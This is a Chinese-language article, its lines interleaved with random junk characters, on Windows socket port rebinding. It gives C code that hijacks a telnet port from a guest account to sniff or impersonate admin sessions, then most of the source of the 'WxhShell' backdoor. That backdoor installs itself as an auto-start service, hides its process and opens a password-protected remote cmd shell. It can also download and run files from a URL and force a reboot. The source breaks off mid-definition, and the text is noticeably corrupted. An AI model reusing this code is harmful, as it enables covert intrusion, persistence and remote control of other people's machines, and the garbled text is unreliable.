在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:_tsS)Q2m s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
AR?J[e <dzE5]%\ saddr.sin_family = AF_INET;
&Q^M[X ?Ee HeN_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Y>+\:O
Got5(^'c bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
G1Cn[F;e r}P{opn$t 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
X+{4,?04+ Od'!v & 这意味着什么?意味着可以进行如下的攻击:
#`/KF_a3\> MOyQ4<_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
g[j"]~ L^VG?J
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
16 o3ER "j9,3yJT 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
OFCOMM R\+p`n$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<UG}P \N v[ru }/4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
TE0hVw0c J;+iW*E: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;t@zH+*} o\8yYX 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:t]YPt <?,o
{ #include
7,_N9Q]rB #include
"-vm=d~\ #include
8|?$KLz?F> #include
}(dhXOf\q DWORD WINAPI ClientThread(LPVOID lpParam);
:h N* int main()
Tm@mk {
VVvV]rU~ WORD wVersionRequested;
F`U%xn, DWORD ret;
D2~e@J(K WSADATA wsaData;
kVQKP U BOOL val;
_I~W!8&w> SOCKADDR_IN saddr;
\A _g SOCKADDR_IN scaddr;
8OZc:/ int err;
Ym-uElWo
SOCKET s;
}V?SedsY SOCKET sc;
) ]U-7 int caddsize;
X<_(gg HANDLE mt;
xe2Ap[Y'M DWORD tid;
ju(&v*KA wVersionRequested = MAKEWORD( 2, 2 );
+%8c8]2 err = WSAStartup( wVersionRequested, &wsaData );
3IZ^!J if ( err != 0 ) {
RT8xU;
printf("error!WSAStartup failed!\n");
kh 17 return -1;
Ta%{Wa\U9z }
R|ViLt y saddr.sin_family = AF_INET;
#5N#^#r" SPeSe/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
n!&DLB1z AIF?+i%H} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
V(A6>0s$| saddr.sin_port = htons(23);
//\ORJd if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%7Z_Hw {
Lc f =)GL printf("error!socket failed!\n");
$985q@pV0 return -1;
0ho+Y@8 }
,;'9PsIS^ val = TRUE;
IR?ICXmtx //SO_REUSEADDR选项就是可以实现端口重绑定的
?7'uo$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{ o=4(RC {
k ;R*mg*K printf("error!setsockopt failed!\n");
^*
^te+N return -1;
]YQlCx` }
(01M 0b# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
M ZB0vdx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
xXE/pIXw //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
<bWhTNOb &eG,CIT if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
mrX3/e {
n@mWBUM ret=GetLastError();
@3K)VjY7 printf("error!bind failed!\n");
=4"D8UaHr return -1;
t]#y}V }
/-b)`%Q|Y listen(s,2);
:;t*:iG while(1)
29
L~SMf {
0"(5\T caddsize = sizeof(scaddr);
t;TMD\BU //接受连接请求
B t-o:)pa sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
RRqHo~*0 if(sc!=INVALID_SOCKET)
W^ict,t {
DKAqQ?fS mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
` =RJ8u if(mt==NULL)
#Sr_PEo
_ {
_|bIl%W;\' printf("Thread Creat Failed!\n");
x'{L %c>L break;
YQvN;W }
;"hED:z6% }
^I@1y}xi CloseHandle(mt);
Kgbgp mW }
p [4/Nq,c closesocket(s);
>c*}Do{lG WSACleanup();
,`v)nwP return 0;
aB;syl{ }
<f &z~y= DWORD WINAPI ClientThread(LPVOID lpParam)
3k py3z[% {
1@6dHFA`o SOCKET ss = (SOCKET)lpParam;
'3O@Nxof4 SOCKET sc;
.8S6;xnkC unsigned char buf[4096];
-Mx"ox SOCKADDR_IN saddr;
MU4/arXy long num;
dElOy?v DWORD val;
1T a48 DWORD ret;
eEePK~%c //如果是隐藏端口应用的话,可以在此处加一些判断
;|6kFBGC"+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0tv"tA; saddr.sin_family = AF_INET;
l69&-Nyg saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
JziuwL5, saddr.sin_port = htons(23);
obKWnet if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n#[-1(P {
(=}cc printf("error!socket failed!\n");
:p0|4g return -1;
I&?(=i)N }
~CgKU8 val = 100;
jFY6}WY)}7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&Ed7|k]H {
swJ3_WhbdT ret = GetLastError();
DvCs 5 return -1;
G=W!$(: }
l2QO\O
I9m if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
wYQTG*&h {
R]O!F)_/' ret = GetLastError();
yBqv'Y return -1;
wegu1Ny }
PXqLK3AE if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
qP{S!Z( {
++d(}^C; printf("error!socket connect failed!\n");
6nqG;z-IXJ closesocket(sc);
?K%&N99c! closesocket(ss);
20750G return -1;
4A^=4"BCV }
1ThONrxu while(1)
>Y=HP&A< {
/HbxY //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
b fy `UZr //如果是嗅探内容的话,可以再此处进行内容分析和记录
'2mR;APz //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
35I y\ num = recv(ss,buf,4096,0);
F4'g}yOLd if(num>0)
N=FU>qbz send(sc,buf,num,0);
$Y.Z>I; else if(num==0)
2g5Ft break;
M\O6~UFq! num = recv(sc,buf,4096,0);
B7r={P!0 if(num>0)
r \+&{EEG send(ss,buf,num,0);
GWo^hIfJ else if(num==0)
'zCJK~x`x break;
Z0*Lm+d9z }
:U)>um34e closesocket(ss);
8Q&.S)hrN closesocket(sc);
?O(KmDH return 0 ;
;/+VHZP; }
V^fSrW] M,xhQ{eBY KNT(lA0s ==========================================================
V#8]io }%(e`[?1 下边附上一个代码,,WXhSHELL
3]xe7F'` [=M0%" ==========================================================
v,t;!u,40 W:D'k^u #include "stdafx.h"
0"q_c-_Bg 62lG,y_L #include <stdio.h>
jO
xH'1I #include <string.h>
_=W ^#z #include <windows.h>
[0|g3K!A #include <winsock2.h>
[P,YW|:n #include <winsvc.h>
sute%6yM #include <urlmon.h>
_~!*|<A_ !u~h.DrvZ #pragma comment (lib, "Ws2_32.lib")
[pMJ9
d$ #pragma comment (lib, "urlmon.lib")
s/ [15 w5*?P4P #define MAX_USER 100 // 最大客户端连接数
Fx#0
:p #define BUF_SOCK 200 // sock buffer
Uw R,U#d #define KEY_BUFF 255 // 输入 buffer
;#c|ZnX L B`=+FD #define REBOOT 0 // 重启
tY$
.(2Ua #define SHUTDOWN 1 // 关机
S%KY%hUt :NB|r #define DEF_PORT 5000 // 监听端口
, VZ;= (I3:u-A #define REG_LEN 16 // 注册表键长度
s+Qm/ h2 #define SVC_LEN 80 // NT服务名长度
,arFR'u> qc^u% // 从dll定义API
Oi{X \Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\m @8$MK typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
V0hC[Ilr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
$47cKit|k: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
fsc^8 0gY,[aQ2 // wxhshell配置信息
=XWew* struct WSCFG {
&.k'Dj2hf int ws_port; // 监听端口
d ; (&_; char ws_passstr[REG_LEN]; // 口令
n99>oh int ws_autoins; // 安装标记, 1=yes 0=no
U" eP>HHp char ws_regname[REG_LEN]; // 注册表键名
c-nBB char ws_svcname[REG_LEN]; // 服务名
`q Sfo` char ws_svcdisp[SVC_LEN]; // 服务显示名
|RT#ZMJek char ws_svcdesc[SVC_LEN]; // 服务描述信息
;u;Y fOr char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?>47!):-* int ws_downexe; // 下载执行标记, 1=yes 0=no
j^A0[:2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
77/&M^0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
e-<fkU9^W =\s(v-8 };
>T3HkOT +gb2>fei& // default Wxhshell configuration
/|] %0B struct WSCFG wscfg={DEF_PORT,
9k.LV/Y "xuhuanlingzhe",
Zf;1U98oC 1,
]9z{
95 "Wxhshell",
CL/8p; "Wxhshell",
u?[P@_i< "WxhShell Service",
k,0RpE "Wrsky Windows CmdShell Service",
fd >t9. "Please Input Your Password: ",
b;\qF&T 1,
` c~:3^?9d "
http://www.wrsky.com/wxhshell.exe",
6L@g]f|Y@ "Wxhshell.exe"
pE >~F };
CFD& -tED& W2h^ShG // 消息定义模块
qe!`LeT# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
LL Oe char *msg_ws_prompt="\n\r? for help\n\r#>";
yI\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^! ^8]u<Q char *msg_ws_ext="\n\rExit.";
?}^e,.M0?s char *msg_ws_end="\n\rQuit.";
d|Wpub char *msg_ws_boot="\n\rReboot...";
mMO:m8W char *msg_ws_poff="\n\rShutdown...";
@=x=dL( char *msg_ws_down="\n\rSave to ";
m;o \.s aE.T%xR char *msg_ws_err="\n\rErr!";
mJb>)bOl char *msg_ws_ok="\n\rOK!";
6
)eO%M` DV +DJcF char ExeFile[MAX_PATH];
l'-dB int nUser = 0;
Nb\4Mv` HANDLE handles[MAX_USER];
hBDPz1< int OsIsNt;
H@2JL.(k [>#?C*s SERVICE_STATUS serviceStatus;
' U {?"FP SERVICE_STATUS_HANDLE hServiceStatusHandle;
e$QX?y . SiHZco
I // 函数声明
Md'd=Y_0 int Install(void);
[r_,BH\nu int Uninstall(void);
Q/4g)( ~J int DownloadFile(char *sURL, SOCKET wsh);
@u3K.}i:g int Boot(int flag);
7)G- EAF void HideProc(void);
0rY<CV;fZ int GetOsVer(void);
4\<[y]pv int Wxhshell(SOCKET wsl);
E,E:W uB void TalkWithClient(void *cs);
N8:?Z#z int CmdShell(SOCKET sock);
Oa\!5Pw1 int StartFromService(void);
dsqqq,>Q int StartWxhshell(LPSTR lpCmdLine);
A:[La#h|p hu[=9#''$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
%stZ'IX VOID WINAPI NTServiceHandler( DWORD fdwControl );
a^i`DrX YMLo~j4J // 数据结构和表定义
<||F$t SERVICE_TABLE_ENTRY DispatchTable[] =
{'G@- +K {
GEfX,9LF & {wscfg.ws_svcname, NTServiceMain},
sl-LX)*N# {NULL, NULL}
7qA);N };
f]q3E[?/ fHYEK~!C04 // 自我安装
3WS`,} int Install(void)
vp &jSfQ^ {
?I)-ez char svExeFile[MAX_PATH];
1 9a"@WB@ HKEY key;
%yJL-6U strcpy(svExeFile,ExeFile);
r]Da4G^ N:[m,U9a // 如果是win9x系统,修改注册表设为自启动
d z&| 3o if(!OsIsNt) {
-vwkvNn8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+jO1?:Lr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3G8BYP RegCloseKey(key);
4JFi|oK0H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
016l$K4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`R0>;TdT RegCloseKey(key);
u-Ct-0 return 0;
xZPSoxu }
c>{X(Z=2 }
kmNY
;b6Y$ }
b|n%l5
1 else {
*RUB`tEL l@4hBq // 如果是NT以上系统,安装为系统服务
e"hm|' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:Y(Yk5 if (schSCManager!=0)
~el#pf~ {
F*>:~'% SC_HANDLE schService = CreateService
y.JAtsxD (
t= "EbPE schSCManager,
*pw:oTO wscfg.ws_svcname,
kOETx wscfg.ws_svcdisp,
ch1EF/" SERVICE_ALL_ACCESS,
DUEA"m h SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5&v'aiWK SERVICE_AUTO_START,
EK_NN<So# SERVICE_ERROR_NORMAL,
}fZT$'*; svExeFile,
heZJ(mR NULL,
=r3Yt9 NULL,
H.XD8qi3W NULL,
%Ub"V\1 NULL,
dP
T)& NULL
b.47KJz t );
E,shTh%&~ if (schService!=0)
ktU98Bk] {
ml.l( 6A CloseServiceHandle(schService);
{a `kPfP CloseServiceHandle(schSCManager);
dE_BV=H{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
]2QZ47 strcat(svExeFile,wscfg.ws_svcname);
)J<Li!3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
pwT|T;j* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[esjR`u RegCloseKey(key);
y^Oj4Y: return 0;
jkQv cU }
W>K2d
}
Cq
!VMl>hP CloseServiceHandle(schSCManager);
|iLeOztuE }
]?#f=/ }
^>h
9< z[0L?~$ return 1;
rVzjLkN^ }
)_NQ*m }di)4=U9 // 自我卸载
RQy|W}d_ int Uninstall(void)
&sR{3pC} {
tQ5gmj HKEY key;
.ZxSJ"Rk R)WvU4+U if(!OsIsNt) {
<po.:c
Ce if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Pw1V1v&>q RegDeleteValue(key,wscfg.ws_regname);
/(BQzCP9O; RegCloseKey(key);
@,CCwiF'q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mJc'oG- RegDeleteValue(key,wscfg.ws_regname);
"%D+_Yb'X RegCloseKey(key);
@'?<92A return 0;
wHWd~K_q }
7Nh6 ` }
{ogGi/8 }
lD6hL8[ else {
R5X<8(4p r,2x?Qi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
N12K*P[! if (schSCManager!=0)
_{_LTy%[ {
~kS~v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
58mzh82+ if (schService!=0)
j()_
VoB1 {
9:!n'mn if(DeleteService(schService)!=0) {
#i7! CloseServiceHandle(schService);
j{7_p$JM CloseServiceHandle(schSCManager);
bo <.7 return 0;
JZD27[b }
rxI?|}4 CloseServiceHandle(schService);
W;,UhE }
:V HJD CloseServiceHandle(schSCManager);
b}9K"GT }
HGC>jeWd_ }
|5F]y"Nb
b?CmKiM% return 1;
uCNQ.Nbf C }
-J:](p LdU, 32 // 从指定url下载文件
~fAdOh int DownloadFile(char *sURL, SOCKET wsh)
<gZC78}E {
bRLmJt98P HRESULT hr;
7_E+y$i= char seps[]= "/";
s+yBxgQ/ char *token;
}Da8S|)H char *file;
gD _tBv char myURL[MAX_PATH];
>J 3N,f char myFILE[MAX_PATH];
_:c8YJEG{ _66zXfM< strcpy(myURL,sURL);
hNyYk(t^ token=strtok(myURL,seps);
w<J$12
"p+ while(token!=NULL)
j
&,vju {
M7eO5 file=token;
kzLj1Ix2 token=strtok(NULL,seps);
hAfR Hd }
S%Pk@n`z] Z#w1,n88 GetCurrentDirectory(MAX_PATH,myFILE);
lh7{2WQ strcat(myFILE, "\\");
yf3%g\k strcat(myFILE, file);
_S,2j_R9 send(wsh,myFILE,strlen(myFILE),0);
O(~`fN?n send(wsh,"...",3,0);
(4$lB{% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!g=,O6 if(hr==S_OK)
~)tMR9=wX return 0;
m1]rLeeEt else
q_OIzZ@ return 1;
@s/;y VVq ?lR)Hi }
+z>*m`}F <H}"xp)j0 // 系统电源模块
RW,ew!Z
int Boot(int flag)
WB6g i2 {
x2Y1B HANDLE hToken;
mrqCW]#u TOKEN_PRIVILEGES tkp;
2i |wQU5w >]T(}S~ if(OsIsNt) {
YDi_Gl$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@r+ErFI LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1
YMaUyL
1 tkp.PrivilegeCount = 1;
R(k6S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
z+PSx'#} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'[qG ,^f if(flag==REBOOT) {
Y'Wj7P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
m?;)C~[ return 0;
hB P]^~( }
NZ{kjAd3c else {
b1nw,(hLY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^yy\CtG return 0;
o$d; Y2K }
%lv2 ;- }
M`BD]{tN} else {
YwoytoXK if(flag==REBOOT) {
bt%k;Z] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
H$(%FWzQ% return 0;
7Ar4:iNvX }
gWy2$) else {
r.-NfK4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
CyzvQfpZr return 0;
$aE%W? \ }
e<~uU9
lg1 }
4)JrOe&k X]C-y,r[M return 1;
!rTh+F* }
kSB)}q6a NkNw9?:#4 // win9x进程隐藏模块
f*W<N06EZ void HideProc(void)
+;:i,`Lmg {
.H7"nt^ ,8+SQo#3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
CWCE}WU>4 if ( hKernel != NULL )
JY9Hqf {
[7|}h/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
.s7o$u~l ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
dfc-#I
p? FreeLibrary(hKernel);
r^WO$u|@i }
9zi/z_G .Pxb9mW return;
<wj2:Z0 }
f[ %\LHq %J~8a _vO // 获取操作系统版本
aJI>qk h?] int GetOsVer(void)
s)
V7$D {
kW6}57iV OSVERSIONINFO winfo;
I4qzdD winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_V-@95fK GetVersionEx(&winfo);
gOgG23 x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
>hB]T%' return 1;
|],{kUIXO else
o)"}DeV$& return 0;
Tk.MtIs)V} }
KW+^9&lA "Q2[A]4E // 客户端句柄模块
8Nc i1o int Wxhshell(SOCKET wsl)
AGK+~EjL@ {
F ypqf| SOCKET wsh;
]$0{PBndW struct sockaddr_in client;
N4)&K[ DWORD myID;
~z32%k CEqfsKrsxE while(nUser<MAX_USER)
tQo"$ JN} {
r-4I{GPb int nSize=sizeof(client);
rd%3eR?V wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
mUcHsCszH if(wsh==INVALID_SOCKET) return 1;
!Q#u
i[0q =E4nNL? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6Oo'&3@ if(handles[nUser]==0)
(873:"( closesocket(wsh);
n$#^gzU4 else
``aoLQc` nUser++;
5'+g'9 }
Z# 7HuAF{] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{'>X6: 9FPl return 0;
%4n=qK9T5 }
q.Z0Q F^A1'J // 关闭 socket
9dKrE_zK: void CloseIt(SOCKET wsh)
.>CqZN,^ {
i 3(bg, closesocket(wsh);
3z~zcQ^\ nUser--;
6pr}A ExitThread(0);
N;Hf7K }
ijyj}gpWha Y*J`Wf(w // 客户端请求句柄
#c?\(qjWA void TalkWithClient(void *cs)
27,WP-qie {
mE^6Zu yVh]hL#4+w SOCKET wsh=(SOCKET)cs;
7cvbYP\<lv char pwd[SVC_LEN];
HC!$Z`}Y char cmd[KEY_BUFF];
\Sm.]=br char chr[1];
QD"V=}'? int i,j;
fa<83<.D PX]A1Kt? while (nUser < MAX_USER) {
4(B,aU>y 299; N if(wscfg.ws_passstr) {
,F:l?dfB\I if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
. 1?AU6\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6S`eN\s //ZeroMemory(pwd,KEY_BUFF);
b/O~f8t i=0;
K mL
PWj while(i<SVC_LEN) {
"v^Q
! =b9?r // 设置超时
'SOp!h$ fd_set FdRead;
:X2B+}6_& struct timeval TimeOut;
>`s2s@Mx FD_ZERO(&FdRead);
tr/S*0$ FD_SET(wsh,&FdRead);
0XXu_f@]9 TimeOut.tv_sec=8;
-Z6ot{% TimeOut.tv_usec=0;
~} wPiu, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
G9}[g)R* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ZJ+q<n_4}
]km8M^P if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
3go!P]) pwd
=chr[0]; "C}nS=]8m
if(chr[0]==0xd || chr[0]==0xa) { - +
$u
pwd=0; m<"1*d~
break; Cw Z{&
} mn
8A%6W
i++; 9{ciD
"!&V
} C{Aeud #5
#M{}Grg
// 如果是非法用户,关闭 socket m,)Re8W-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )"j_NlO
} h2uO+qEsu
SU
H^ ]4>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q(a6@6f"kD
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0]i#1Si~@
$,'r}
%
while(1) { \n+`~< i
0/-[k
ZeroMemory(cmd,KEY_BUFF); KDHR}`
5+,&9;'Y^
// 自动支持客户端 telnet标准 uXK$5"
j=0; S{fNeK
while(j<KEY_BUFF) { @8V8gV?zm
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bpKb<c
cmd[j]=chr[0]; .@ 1\26<
if(chr[0]==0xa || chr[0]==0xd) { 3MkF
cmd[j]=0; ^"*r'
break; &z%7Nu
} dL[mX .j"
j++; #?8'Z/1)
} C]eb=rw$
JX>_imo
// 下载文件 ,4EE9
?J
if(strstr(cmd,"http://")) { =BNmuAY7
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \kC/)d
if(DownloadFile(cmd,wsh)) `?`\!uP"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #!Kg?BR2
else INcJXlv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L(AY)gB
} ^\Jg
{9a
else { kj+AsQC,
)UN@|IX
switch(cmd[0]) { IvH0sS`F
~TurYvf
// 帮助 vW YN?"d
case '?': { ^Z2%b>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?XW+&!ar
break; E)>6}0P
} ]Alu~ Dw
// 安装 )mp0k%
case 'i': { j3A+:KDn3n
if(Install()) [(UQQa=+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q$U;\Mg)
else 6t*=.b,N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fZXd<Fg+
break; >Li
~Og@
} 9u"im+=:
// 卸载 NoiU5pP
case 'r': { :t9(T?2
if(Uninstall()) IKAF%0[R|j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jS|(g##4
else 6n;ew l}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qH"0?<$9
break; 'p Z~3q
} WMl_$Fd6
// 显示 wxhshell 所在路径 'VR5>r
case 'p': { (7-K4j`
char svExeFile[MAX_PATH]; u4fTC})4{C
strcpy(svExeFile,"\n\r"); a?Q~C<k
strcat(svExeFile,ExeFile); .{)b^gE
send(wsh,svExeFile,strlen(svExeFile),0); LF{ qI?LG
break; @AVx4,!>[
} aLq=%fsV)
// 重启 1gH5#_?
case 'b': { E/AM<eN
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
s9O] tk
if(Boot(REBOOT)) mQ' ]0D S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lL%7lO
else { uCmdNY
closesocket(wsh); KasOh"W.P
ExitThread(0); JEFW}M)UGv
} ;#f_e;
break; c|ZZ+2IYd
} ,gD30Pylz
// 关机 |oO0%#1H
case 'd': { nLT]'B]$+
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zad+)~@!tq
if(Boot(SHUTDOWN)) +$8hTi,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `qs'={YtU
else { ?55('+{l
closesocket(wsh); ^JYR^X>_
ExitThread(0); lywcT! <
} C8NbxP
break; FKL}6W:
} T|9Yo=UK%
// 获取shell /?2yo{Fg
case 's': { Oi
l>bv8
CmdShell(wsh); s?OGB}
closesocket(wsh); .%~
L
ExitThread(0); 9chiu%20
break; @/|sOF;8W
} unjo&
// 退出 5dYIL`
case 'x': { \gIdg:"02
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P\SD_8
CloseIt(wsh); <|.S~HLTQ
break; y0A2{'w
} AZ!G-73
// 离开 Q Z9)uI
case 'q': { @JN%P}4)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); j-yD;N
closesocket(wsh); }yB@?
WSACleanup(); rr9HC]63
exit(1); YXD1B`23
break; xB9^DURr\
} r("7
X2f
} Rs<,kMRGVL
} QC
]z--wu
d@#=cvW
// 提示信息 }8x[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I0OsaX'
} XUMCz7&j
} QRt(?96
XV+BSW7}
return; K8e >sU.
} /vU9eh"%
1l1X1
// shell模块句柄 YK"({Z>U
int CmdShell(SOCKET sock) ncS^NH(&
{ M~
*E!
STARTUPINFO si; s'/.eaV_
ZeroMemory(&si,sizeof(si)); -U;s,>\)
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :_^9.`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?%;uR#4
PROCESS_INFORMATION ProcessInfo; ?]paAP;4
char cmdline[]="cmd"; ^Jc~G~x4*
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^!kvgm<{$
return 0; cl)MI,/>
} g:f0K2)\r:
k Mwt&6wS
// 自身启动模式 ;39{iU.m
int StartFromService(void) < u^41
{ S!.xmc\
typedef struct &s]
s]V)
{ 5i1 >z{
DWORD ExitStatus; q)@.f.
DWORD PebBaseAddress; WpmypkJA#
DWORD AffinityMask; l(&CO<4q?
DWORD BasePriority; <`MHra8
ULONG UniqueProcessId; 2<